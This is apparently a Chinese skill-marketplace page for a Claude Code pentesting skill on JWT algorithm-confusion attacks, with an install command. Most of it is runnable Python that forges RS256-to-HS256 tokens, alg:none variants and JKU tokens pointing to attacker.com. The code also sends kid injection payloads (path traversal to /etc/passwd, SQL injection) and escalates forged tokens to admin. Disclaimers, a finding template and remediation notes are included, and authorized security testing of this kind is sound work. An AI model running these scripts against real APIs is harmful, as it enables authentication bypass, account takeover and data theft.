mcpField
E
exploiting-jwt-algorithm-confusion-attack

exploiting-jwt-algorithm-confusion-attack

github.com/mukul975安全35.2k279 次安装8 周前更新
代码仓库

关于 exploiting-jwt-algorithm-confusion-attack

这项技能面向获授权的 JWT 安全测试,重点检查算法混淆及相关请求头攻击路径。它指导测试人员检查令牌与密钥,并要求测试前取得书面授权。

主要功能

  1. 01检查 JWT 令牌与公钥
  2. 02测试 RS256 至 HS256 算法混淆
  3. 03检查 alg:none 签名绕过
  4. 04测试 JKU 与 KID 请求头注入
  5. 05评估允许算法的强制执行

适用场景

  1. 01评估使用 JWT 身份验证的 API
  2. 02验证 JWT 中间件的算法限制
  3. 03测试密钥选择请求头中的注入缺陷

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-jwt-algorithm-confusion-attack

安装后在 Claude Code 中输入/exploiting-jwt-algorithm-confusion-attack确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用 JWT 算法混淆攻击

何时使用

  • 测试使用 RS256(非对称)JWT 令牌进行身份验证的 API,以检查算法是否可降级为 HS256
  • 评估 JWT 实现是否存在 alg:none 绕过,即服务端跳过签名验证
  • 评估 JWT 库是否存在密钥混淆漏洞,即公钥被用作 HMAC 密钥
  • 测试 kid(Key ID)、jku(JWK Set URL)和 x5u(X.509 URL)头部参数是否存在注入
  • 验证 API 服务端是否强制使用特定算法,且不信任 JWT 头部

请勿在未获得书面授权的情况下使用。JWT 利用可导致身份验证绕过和账户接管。

前提条件

  • 明确指定目标 API 和范围内基于 JWT 的身份验证的书面授权
  • 来自目标 API 的有效 JWT 令牌(通过合法身份验证获取)
  • 服务端的 RSA 公钥(可从 JWKS 端点、TLS 证书或公钥端点获取)
  • Python 3.10+ 及 PyJWT、cryptography 和 requests 库
  • 用于自动化 JWT 攻击测试的 jwt_tool
  • 带 JWT Editor 扩展的 Burp Suite

法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能是违法的,并可能违反计算机欺诈相关法律。

工作流

步骤 1:JWT 令牌分析
import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "[email protected]", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
步骤 2:获取公钥
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")
步骤 3:算法混淆攻击(RS256 到 HS256)
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
    If the server uses a generic verify() that trusts the alg header, it will use
    the public key as the HMAC secret, matching our signature.
    """
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    # Modify payload if requested
    if modifications:
        payload.update(modifications)

    # Create header with HS256
    new_header = {"alg": "HS256", "typ": "JWT"}

    # Encode header and payload
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(new_header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Sign with HMAC-SHA256 using the RSA public key as the secret
    signing_input = f"{header_b64}.{payload_b64}".encode()

    # Use the raw PEM bytes as the HMAC key
    if isinstance(public_key_pem, str):
        public_key_pem = public_key_pem.encode()

    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")

# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
    modifications={"role": "admin", "sub": "[email protected]"})
resp = requests.get(f"{BASE_URL}/admin/users",
    headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")

# Attack 3: Try different public key formats
key_formats = [
    public_key_pem,                                    # Full PEM
    public_key_pem.strip(),                            # Stripped whitespace
    public_key_pem.replace(b'\n', b''),               # No newlines
    public_key_pem.decode().split('\n')[1:-1],        # Base64 only
]

for i, key_format in enumerate(key_formats):
    if isinstance(key_format, list):
        key_format = ''.join(key_format).encode()
    elif isinstance(key_format, str):
        key_format = key_format.encode()

    token = forge_hs256_with_public_key(valid_token, key_format)
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
步骤 4:算法 None 攻击
def forge_none_algorithm(token, modifications=None):
    """Create tokens with alg:none variations to bypass signature verification."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    if modifications:
        payload.update(modifications)

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Different "none" algorithm variations
    none_variants = [
        {"alg": "none", "typ": "JWT"},
        {"alg": "None", "typ": "JWT"},
        {"alg": "NONE", "typ": "JWT"},
        {"alg": "nOnE", "typ": "JWT"},
        {"typ": "JWT"},  # Missing alg entirely
    ]

    tokens = []
    for variant_header in none_variants:
        header_b64 = base64.urlsafe_b64encode(
            json.dumps(variant_header).encode()).decode().rstrip('=')

        # Different signature options
        sig_options = [
            "",                    # Empty signature
            ".",                   # Just a dot
            parts[2],             # Original signature
            base64.urlsafe_b64encode(b'\x00').decode().rstrip('='),  # Null byte
        ]

        for sig in sig_options:
            tokens.append(f"{header_b64}.{payload_b64}.{sig}")

    return tokens

# Test all none algorithm variations
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
        print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")

# Test with privilege escalation
admin_none_tokens = forge_none_algorithm(valid_token,
    modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
    resp = requests.get(f"{BASE_URL}/admin/users",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print("[CRITICAL] Admin access via alg:none bypass")
        break
步骤 5:JKU 和 KID 头部注入
import os

# Attack: JKU (JWK Set URL) injection
# Host attacker-controlled JWKS that contains our key pair
def generate_attacker_jwks():
    """Generate an RSA key pair and JWKS for the attacker's server."""
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend

    # Generate attacker key pair
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    public_numbers = public_key.public_numbers()

    n_b64 = base64.urlsafe_b64encode(
        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
    e_b64 = base64.urlsafe_b64encode(
        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')

    jwks = {
        "keys": [{
            "kty": "RSA",
            "kid": "attacker-key-1",
            "use": "sig",
            "alg": "RS256",
            "n": n_b64,
            "e": e_b64
        }]
    }

    return private_key, jwks

attacker_private_key, attacker_jwks = generate_attacker_jwks()

# Create JWT with JKU pointing to attacker server
def forge_jku_token(payload_modifications, jku_url):
    """Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
    payload.update(payload_modifications)

    header = {
        "alg": "RS256",
        "typ": "JWT",
        "kid": "attacker-key-1",
        "jku": jku_url  # Points to attacker-hosted JWKS
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Sign with attacker's private key
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import padding

    signing_input = f"{header_b64}.{payload_b64}".encode()
    signature = attacker_private_key.sign(
        signing_input,
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# Test JKU injection with various URLs
jku_urls = [
    "https://attacker.com/.well-known/jwks.json",
    "https://attacker.com/jwks",
    # Bypass URL filters
    f"{BASE_URL}@attacker.com/jwks",
    f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]

for jku in jku_urls:
    token = forge_jku_token({"role": "admin"}, jku)
    # Note: This test requires hosting the attacker JWKS at the specified URL
    print(f"  JKU injection payload generated for: {jku}")

# KID injection (SQL injection in kid parameter)
kid_injection_payloads = [
    "../../../../../../dev/null",              # Path traversal to empty file
    "../../../../../../proc/sys/kernel/hostname",
    "' UNION SELECT 'secret-key' -- ",         # SQL injection in kid lookup
    "' OR '1'='1",
    "../../../etc/passwd",
    "https://attacker.com/key.pem",            # URL-based kid
]

for kid in kid_injection_payloads:
    modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(modified_header).encode()).decode().rstrip('=')
    payload_b64 = valid_token.split('.')[1]

    # Sign with the expected key material from the injection
    signing_input = f"{header_b64}.{payload_b64}".encode()
    # For path traversal to /dev/null, the key would be empty
    sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')

    token = f"{header_b64}.{payload_b64}.{sig_b64}"
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] KID injection successful: {kid}")

关键概念

术语定义
算法混淆服务端信任 JWT 中的 alg 头部,允许攻击者从 RS256 切换到 HS256 并使用公钥作为 HMAC 密钥进行签名的攻击
alg:none 攻击将 JWT 算法设置为 "none" 以完全绕过签名验证,前提是库未强制指定算法选择
JKU 注入操纵 jku(JWK Set URL)头部指向攻击者控制的 JWKS 端点,使攻击者能够提供自己的签名密钥
KID 注入将 SQL、路径遍历或 URL 载荷注入 kid(Key ID)头部参数,以操纵密钥选择或读取任意文件
密钥混淆当服务端错误地从非对称验证切换到对称验证时,将 RSA 公钥用作 HMAC 密钥
JWKS(JSON Web Key Set)包含服务端用于验证 JWT 签名的公钥的 JSON 结构,通常托管在众所周知的端点上

工具与系统

  • jwt_tool:基于 Python 的 JWT 测试工具包,具有 12+ 种攻击模式,包括 alg 混淆、none 绕过和 kid 注入
  • Burp Suite JWT Editor:用于解码、编辑和重新签名 JWT 的扩展,具有算法操纵功能
  • hashcat(模式 16500):针对 HS256/HS384/HS512 签名的 JWT 的 GPU 加速 HMAC 密钥暴力破解
  • John the Ripper:基于 CPU 的 JWT 密钥破解,支持字典和基于规则攻击
  • jwt.io:在线 JWT 解码器和调试器,用于快速令牌分析

常见场景

场景:银行 API 上的算法混淆

背景:某银行 API 使用 RS256 签名的 JWT 进行身份验证。JWKS 端点可公开访问。该 API 处理需要高保障身份验证的金融交易。

方法:

  1. 以普通用户身份通过身份验证,获取一个有效的 JWT
  2. 从 /.well-known/jwks.json 处的 JWKS 端点提取 RSA 公钥
  3. 创建一个带有 "alg": "HS256" 头部的新 JWT,并使用 RSA 公钥作为 HMAC 密钥对其进行签名
  4. 将伪造的令牌发送到 GET /api/v1/users/me —— 服务器接受它(确认存在算法混淆)
  5. 修改载荷,设置 "role": "admin" 和 "sub": "[email protected]" —— 使用公钥签名
  6. 访问管理员端点:GET /api/v1/admin/transactions 返回所有交易历史
  7. 测试 alg:none:被服务器拒绝(部分缓解)
  8. 测试使用 SQL 载荷的 kid 注入:kid 参数被用于 SQL 查询中以查找密钥,从而实现 SQL 注入

陷阱:

  • 使用错误格式的公钥作为 HMAC 密钥(带/不带头部的 PEM、DER、原始字节)
  • 当第一种公钥格式未生成有效签名时,未尝试多种公钥格式
  • 假设 alg:none 防御意味着算法混淆也已被缓解
  • 当 JWT 头部中存在 kid 参数时,未测试 kid 注入向量
  • 当服务器从 URL 获取密钥时,遗漏了 JKU/x5u 头部注入

输出格式

## Finding: JWT Algorithm Confusion Enables Authentication Bypass

**ID**: API-JWT-001
**Severity**: Critical (CVSS 9.8)
**CVE Reference**: CVE-2024-54150 (related pattern)
**Affected Component**: JWT authentication middleware

**Description**:
The API's JWT verification library trusts the algorithm specified in
the JWT header rather than enforcing a fixed algorithm. An attacker can
change the algorithm from RS256 to HS256 and sign the token using the
server's RSA public key (available from the JWKS endpoint) as the HMAC
secret. The server then uses the same public key to verify the HMAC
signature, which succeeds, allowing the attacker to forge tokens for
any user with any role.

**Attack Chain**:
1. Obtain public key: GET /.well-known/jwks.json
2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. Sign with HMAC-SHA256 using RSA public key PEM as secret
4. Access admin API: GET /api/v1/admin/transactions -> 200 OK

**Impact**:
Complete authentication bypass. An attacker can forge tokens for any
user including administrators, accessing all financial transactions,
user data, and administrative functions.

**Remediation**:
1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
2. Never trust the alg header from the JWT for algorithm selection
3. Update the JWT library to the latest version with algorithm confusion protections
4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
5. Implement token binding to prevent forged token acceptance

评论

支持 Markdown